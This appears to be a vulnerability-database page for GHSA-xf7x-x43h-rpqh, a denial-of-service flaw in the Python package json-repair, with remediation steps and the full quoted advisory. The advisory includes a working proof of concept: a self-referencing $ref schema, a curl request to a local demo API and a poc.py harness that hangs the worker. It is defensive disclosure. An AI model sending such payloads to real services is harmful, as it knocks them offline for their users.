Vulnerabilities in pkg:pypi/json-repair

PACKAGE
Advisory Summary

GHSA-xf7x-x43h-rpqh is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting json_repair libraries in the PyPI ecosystem. The issue involves circular json schema `$ref` causes unbounded cpu dos. Remediation is available by upgrading affected packages to version 0.60.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/json-repair

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/json-repair. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-xf7x-x43h-rpqh - HIGH json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS

GHSA-xf7x-x43h-rpqh at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-xf7x-x43h-rpqh
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product json_repair
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-xf7x-x43h-rpqh

To remediate this vulnerability, upgrade all affected json_repair dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

json-repair fixed: 0.60.1
pip install json-repair>=0.60.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show json-repair

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-xf7x-x43h-rpqh, inspect your installed packages using pip:

pip show json-repair

Analyze the terminal output to locate any version of json_repair in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.60.1), your application is affected.

Note: The pip show json-repair command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In json_repair, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair` ### Summary `SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High). ### Details `SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop: ```python # src/json_repair/schema_repair.py:184-190 schema_dict = cast("dict[str, Any]", schema) while "$ref" in schema_dict: ref = schema_dict["$ref"] resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved ``` `_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as: ```json {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} ``` `_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates. The vulnerable sink is reachable without authentication through the demo Flask API: ```python # docs/app.py:14, 21-36 data = request.get_json() schema = data.get("schema") if schema is not None and not isinstance(schema, (dict, bool)): raise ValueError("schema must be a JSON object or boolean.") ... if schema is not None: loads_kwargs["schema"] = schema parsed_json = loads(malformed_json, **loads_kwargs) ``` The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is: 1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body. 2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied. 3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`. 4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`. 5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop. 6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink). 7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call. **Recommended fix:** ```diff --- a/src/json_repair/schema_repair.py +++ b/src/json_repair/schema_repair.py def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool: ... - schema_dict = cast("dict[str, Any]", schema) + schema_dict = cast("dict[str, Any]", schema) + seen_schema_ids: set[int] = set() while "$ref" in schema_dict: ref = schema_dict["$ref"] + if not isinstance(ref, str): + raise SchemaDefinitionError("$ref must be a string.") + schema_id = id(schema_dict) + if schema_id in seen_schema_ids: + raise SchemaDefinitionError(f"Circular $ref detected: {ref}") + seen_schema_ids.add(schema_id) resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved return schema_dict ``` ### PoC **Environment setup:** ```bash # Clone the affected version git clone https://github.com/mangiucugna/json_repair.git git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7 # Install dependencies pip install flask flask-cors jsonschema pydantic pip install -e json_repair/ # Start the demo API PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005 ``` **Alternatively, use the provided Docker image:** ```dockerfile FROM python:3.11-slim WORKDIR /app COPY repo/ /app/repo/ RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \ pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` ```bash docker build -t vuln001-json-repair -f vuln-001/Dockerfile . docker run --rm vuln001-json-repair ``` **HTTP attack request (demo API):** ```bash timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \ -H 'Content-Type: application/json' \ --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}' # Expected: no response before timeout; curl exits with code 124 ``` **Direct library attack:** ```bash timeout 5 python3 - <<'PY' from json_repair import loads schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} print(loads("{}", schema=schema)) PY # Expected: process killed after 5 s; exit code 124 ``` **Observed results (from Docker-based dynamic reproduction):** - Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**. - Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed. ### Impact This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner. Beyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Copy the vulnerable json_repair repository (build context is the report root) COPY repo/ /app/repo/ # Install Flask demo API dependencies and schema extras RUN pip install --no-cache-dir \ flask \ flask-cors \ jsonschema \ pydantic && \ pip install --no-cache-dir -e /app/repo/ # Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS CWE-835 — Loop with Unreachable Exit Condition Affected: json_repair <= 0.59.10 (commit 0015c74) Sink: src/json_repair/schema_repair.py:185 SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection. Attack schema: {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop because _resolve_ref() always returns the same dict object from root_schema. Verdict logic: - Baseline (valid schema) must complete in < TIMEOUT seconds. - Attack (circular $ref) must still be running at TIMEOUT seconds. Both conditions together constitute deterministic proof of the vulnerability. """ import os import subprocess import sys import tempfile import time # Seconds to wait before declaring the attack confirmed (infinite loop) TIMEOUT_SECONDS = 5 CIRCULAR_SCHEMA = { "$ref": "#/definitions/a", "definitions": { "a": {"$ref": "#/definitions/a"} } } NORMAL_SCHEMA = { "type": "object", "properties": { "name": {"type": "string"} } } _RUNNER_TEMPLATE = """\ import sys sys.path.insert(0, '/app/repo/src') from json_repair import loads schema = {schema_repr} result = loads('{{}}', schema=schema) print(result) """ def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]: """ Run json_repair loads() with the given schema in an isolated subprocess. Returns: timed_out (bool): True if the process was still running at `timeout` seconds. elapsed (float): Wall-clock seconds until completion or kill. output (str): stdout/stderr excerpt. """ script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema)) with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh: fh.write(script_content) script_path = fh.name start = time.monotonic() try: proc = subprocess.run( [sys.executable, script_path], timeout=timeout, capture_output=True, text=True, ) elapsed = time.monotonic() - start output = (proc.stdout.strip() or proc.stderr.strip())[:400] return False, elapsed, output except subprocess.TimeoutExpired: elapsed = time.monotonic() - start return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]" finally: os.unlink(script_path) def main() -> int: print("=" * 64) print("VULN-001 PoC: Circular $ref JSON Schema DoS") print("json_repair SchemaRepairer.resolve_schema() — CWE-835") print("=" * 64) # --- Test 1: baseline (must complete quickly) --- print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)") timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test( NORMAL_SCHEMA, TIMEOUT_SECONDS ) if timed_out_baseline: print(f" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue") baseline_ok = False else: print(f" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}") baseline_ok = True # --- Test 2: circular $ref attack (must time out) --- print( f"\n[TEST 2] Attack — circular $ref schema" f" (expect hang > {TIMEOUT_SECONDS}s)" ) print(f" Schema: {CIRCULAR_SCHEMA}") timed_out_attack, elapsed_attack, output_attack = run_schema_test( CIRCULAR_SCHEMA, TIMEOUT_SECONDS ) if timed_out_attack: print( f" TIMED OUT after {elapsed_attack:.2f}s " f"— infinite loop CONFIRMED (VULNERABLE)" ) attack_confirmed = True else: print( f" Completed in {elapsed_attack:.3f}s -> {output_attack}" f"\n (patched or not triggered — check installation)" ) attack_confirmed = False # --- Summary --- print("\n" + "=" * 64) if baseline_ok and attack_confirmed: print("VERDICT: PASS") print(" Normal schema : returned in under 1 s") print(f" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)") print(" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.") return 0 elif not attack_confirmed: print("VERDICT: FAIL — circular $ref did not cause an infinite loop") print(" The library may already be patched in this build.") return 2 else: print("VERDICT: FAIL — baseline test failed; check the environment") return 3 if __name__ == "__main__": sys.exit(main()) ```

GHSA-xf7x-x43h-rpqh Affected json_repair Versions

1 component(s)
Fixed Versions:
0.60.1
Product / Package Ecosystem Affected Versions Fixed Version
json-repair
PyPI
< 0.60.1
0.60.1

References

Frequently Asked Questions

What is GHSA-xf7x-x43h-rpqh?
GHSA-xf7x-x43h-rpqh is a security vulnerability in json_repair involving Circular JSON Schema `$ref` causes unbounded CPU DoS under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which json_repair versions are affected?
Affected versions include releases prior to 0.60.1 across affected packages: json-repair.
What version fixes GHSA-xf7x-x43h-rpqh?
Upgrading to 0.60.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is json-repair affected?
Yes, json-repair is affected in releases prior to 0.60.1. Upgrade your dependency to 0.60.1 or later.
What is the CVSS score of GHSA-xf7x-x43h-rpqh?
GHSA-xf7x-x43h-rpqh has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-xf7x-x43h-rpqh?
GHSA-xf7x-x43h-rpqh is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check PyPI dependencies for GHSA-xf7x-x43h-rpqh?
Run the dependency tree command: 'pip show json-repair'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xf7x-x43h-rpqh",
  "modified" : "2026-07-13T23:41:39Z",
  "published" : "2026-07-13T23:41:39Z",
  "aliases" : [ ],
  "summary" : "json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS",
  "details" : "## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`\n\n### Summary\n\n`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).\n\n### Details\n\n`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:\n\n```python\n# src/json_repair/schema_repair.py:184-190\nschema_dict = cast(\"dict[str, Any]\", schema)\nwhile \"$ref\" in schema_dict:\n    ref = schema_dict[\"$ref\"]\n    resolved = self._resolve_ref(ref)\n    if isinstance(resolved, bool):\n        return resolved\n    schema_dict = resolved\n```\n\n`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:\n\n```json\n{\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n```\n\n`_resolve_ref()` returns the same `dict` object on every iteration, so `\"$ref\" in schema_dict` is always `True` and the loop never terminates.\n\nThe vulnerable sink is reachable without authentication through the demo Flask API:\n\n```python\n# docs/app.py:14, 21-36\ndata = request.get_json()\nschema = data.get(\"schema\")\nif schema is not None and not isinstance(schema, (dict, bool)):\n    raise ValueError(\"schema must be a JSON object or boolean.\")\n...\nif schema is not None:\n    loads_kwargs[\"schema\"] = schema\nparsed_json = loads(malformed_json, **loads_kwargs)\n```\n\nThe only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:\n\n1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.\n2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.\n3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.\n4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.\n5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.\n6. `src/json_repair/schema_repair.py:184–190` — unbounded `while \"$ref\" in schema_dict` loop (sink).\n7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.\n\n**Recommended fix:**\n\n```diff\n--- a/src/json_repair/schema_repair.py\n+++ b/src/json_repair/schema_repair.py\n     def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:\n         ...\n-        schema_dict = cast(\"dict[str, Any]\", schema)\n+        schema_dict = cast(\"dict[str, Any]\", schema)\n+        seen_schema_ids: set[int] = set()\n         while \"$ref\" in schema_dict:\n             ref = schema_dict[\"$ref\"]\n+            if not isinstance(ref, str):\n+                raise SchemaDefinitionError(\"$ref must be a string.\")\n+            schema_id = id(schema_dict)\n+            if schema_id in seen_schema_ids:\n+                raise SchemaDefinitionError(f\"Circular $ref detected: {ref}\")\n+            seen_schema_ids.add(schema_id)\n             resolved = self._resolve_ref(ref)\n             if isinstance(resolved, bool):\n                 return resolved\n             schema_dict = resolved\n         return schema_dict\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the affected version\ngit clone https://github.com/mangiucugna/json_repair.git\ngit -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7\n\n# Install dependencies\npip install flask flask-cors jsonschema pydantic\npip install -e json_repair/\n\n# Start the demo API\nPYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005\n```\n\n**Alternatively, use the provided Docker image:**\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \\\n    pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n```bash\ndocker build -t vuln001-json-repair -f vuln-001/Dockerfile .\ndocker run --rm vuln001-json-repair\n```\n\n**HTTP attack request (demo API):**\n\n```bash\ntimeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"malformedJSON\":\"{}\",\"schema\":{\"$ref\":\"#/definitions/a\",\"definitions\":{\"a\":{\"$ref\":\"#/definitions/a\"}}}}'\n# Expected: no response before timeout; curl exits with code 124\n```\n\n**Direct library attack:**\n\n```bash\ntimeout 5 python3 - <<'PY'\nfrom json_repair import loads\nschema = {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\nprint(loads(\"{}\", schema=schema))\nPY\n# Expected: process killed after 5 s; exit code 124\n```\n\n**Observed results (from Docker-based dynamic reproduction):**\n\n- Baseline (valid schema `{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"}}}`): completed in **0.261 s**.\n- Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.\n\n### Impact\n\nThis is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.\n\nBeyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Copy the vulnerable json_repair repository (build context is the report root)\nCOPY repo/ /app/repo/\n\n# Install Flask demo API dependencies and schema extras\nRUN pip install --no-cache-dir \\\n        flask \\\n        flask-cors \\\n        jsonschema \\\n        pydantic && \\\n    pip install --no-cache-dir -e /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS\nCWE-835 — Loop with Unreachable Exit Condition\n\nAffected: json_repair <= 0.59.10 (commit 0015c74)\nSink:     src/json_repair/schema_repair.py:185\n          SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.\n\nAttack schema:\n    {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n\nWhen passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop\nbecause _resolve_ref() always returns the same dict object from root_schema.\n\nVerdict logic:\n  - Baseline (valid schema) must complete in < TIMEOUT seconds.\n  - Attack (circular $ref) must still be running at TIMEOUT seconds.\n  Both conditions together constitute deterministic proof of the vulnerability.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# Seconds to wait before declaring the attack confirmed (infinite loop)\nTIMEOUT_SECONDS = 5\n\nCIRCULAR_SCHEMA = {\n    \"$ref\": \"#/definitions/a\",\n    \"definitions\": {\n        \"a\": {\"$ref\": \"#/definitions/a\"}\n    }\n}\n\nNORMAL_SCHEMA = {\n    \"type\": \"object\",\n    \"properties\": {\n        \"name\": {\"type\": \"string\"}\n    }\n}\n\n_RUNNER_TEMPLATE = \"\"\"\\\nimport sys\nsys.path.insert(0, '/app/repo/src')\nfrom json_repair import loads\nschema = {schema_repr}\nresult = loads('{{}}', schema=schema)\nprint(result)\n\"\"\"\n\n\ndef run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:\n    \"\"\"\n    Run json_repair loads() with the given schema in an isolated subprocess.\n\n    Returns:\n        timed_out (bool): True if the process was still running at `timeout` seconds.\n        elapsed (float): Wall-clock seconds until completion or kill.\n        output (str): stdout/stderr excerpt.\n    \"\"\"\n    script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))\n\n    with tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".py\", delete=False) as fh:\n        fh.write(script_content)\n        script_path = fh.name\n\n    start = time.monotonic()\n    try:\n        proc = subprocess.run(\n            [sys.executable, script_path],\n            timeout=timeout,\n            capture_output=True,\n            text=True,\n        )\n        elapsed = time.monotonic() - start\n        output = (proc.stdout.strip() or proc.stderr.strip())[:400]\n        return False, elapsed, output\n    except subprocess.TimeoutExpired:\n        elapsed = time.monotonic() - start\n        return True, elapsed, f\"[no output — process killed after {elapsed:.2f}s]\"\n    finally:\n        os.unlink(script_path)\n\n\ndef main() -> int:\n    print(\"=\" * 64)\n    print(\"VULN-001 PoC: Circular $ref JSON Schema DoS\")\n    print(\"json_repair SchemaRepairer.resolve_schema() — CWE-835\")\n    print(\"=\" * 64)\n\n    # --- Test 1: baseline (must complete quickly) ---\n    print(f\"\\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)\")\n    timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(\n        NORMAL_SCHEMA, TIMEOUT_SECONDS\n    )\n    if timed_out_baseline:\n        print(f\"  UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue\")\n        baseline_ok = False\n    else:\n        print(f\"  COMPLETED in {elapsed_baseline:.3f}s  ->  {output_baseline}\")\n        baseline_ok = True\n\n    # --- Test 2: circular $ref attack (must time out) ---\n    print(\n        f\"\\n[TEST 2] Attack — circular $ref schema\"\n        f\" (expect hang > {TIMEOUT_SECONDS}s)\"\n    )\n    print(f\"  Schema: {CIRCULAR_SCHEMA}\")\n    timed_out_attack, elapsed_attack, output_attack = run_schema_test(\n        CIRCULAR_SCHEMA, TIMEOUT_SECONDS\n    )\n    if timed_out_attack:\n        print(\n            f\"  TIMED OUT after {elapsed_attack:.2f}s \"\n            f\"— infinite loop CONFIRMED (VULNERABLE)\"\n        )\n        attack_confirmed = True\n    else:\n        print(\n            f\"  Completed in {elapsed_attack:.3f}s  ->  {output_attack}\"\n            f\"\\n  (patched or not triggered — check installation)\"\n        )\n        attack_confirmed = False\n\n    # --- Summary ---\n    print(\"\\n\" + \"=\" * 64)\n    if baseline_ok and attack_confirmed:\n        print(\"VERDICT: PASS\")\n        print(\"  Normal schema  : returned in under 1 s\")\n        print(f\"  Circular $ref  : still running after {TIMEOUT_SECONDS}s (killed)\")\n        print(\"  Conclusion: resolve_schema() enters an unbounded loop on circular $ref.\")\n        return 0\n    elif not attack_confirmed:\n        print(\"VERDICT: FAIL — circular $ref did not cause an infinite loop\")\n        print(\"  The library may already be patched in this build.\")\n        return 2\n    else:\n        print(\"VERDICT: FAIL — baseline test failed; check the environment\")\n        return 3\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "json-repair"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.60.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mangiucugna/json_repair/security/advisories/GHSA-xf7x-x43h-rpqh"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mangiucugna/json_repair"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mangiucugna/json_repair/releases/tag/v0.60.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-13T23:41:39Z",
    "nvd_published_at" : null
  }
}